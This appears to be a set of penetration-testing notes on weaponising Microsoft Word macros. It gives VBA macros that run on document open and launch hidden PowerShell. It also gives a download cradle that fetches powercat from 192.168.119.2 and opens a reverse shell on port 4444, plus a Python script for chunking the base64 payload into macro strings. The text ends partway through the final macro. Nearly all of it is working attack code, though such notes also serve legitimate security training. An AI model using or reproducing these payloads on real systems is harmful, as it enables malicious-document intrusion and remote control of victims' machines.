Leveraging Microsoft Word Macros

# use .doc for macros instead of .docx extension
# VBA Macro to run powershell
Sub MyMacro()
  CreateObject("Wscript.Shell").Run "powershell"
End Sub

# PS cradle to download and execute powercat need to base64-encode in UTF-16LE format
IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.119.2/powercat.ps1');powercat -c 192.168.119.2 -p 4444 -e powershell

# Python script used to split the base64-encoded string into smaller chunks
str = "powershell.exe -nop -w hidden -enc SQBFAFgAKABOAGUAdwA..."
n = 50
for i in range(0, len(str), n):
	print("Str = Str + " + '"' + str[i:i+n] + '"')

# The full macro invoking PowerShell to create a reverse shell
Sub AutoOpen()
    MyMacro
End Sub

Sub Document_Open()
    MyMacro
End Sub

Sub MyMacro()
    Dim Str As String
    
    Str = Str + "powershell.exe -nop -w hidden -enc SQBFAFgAKABOAGU"
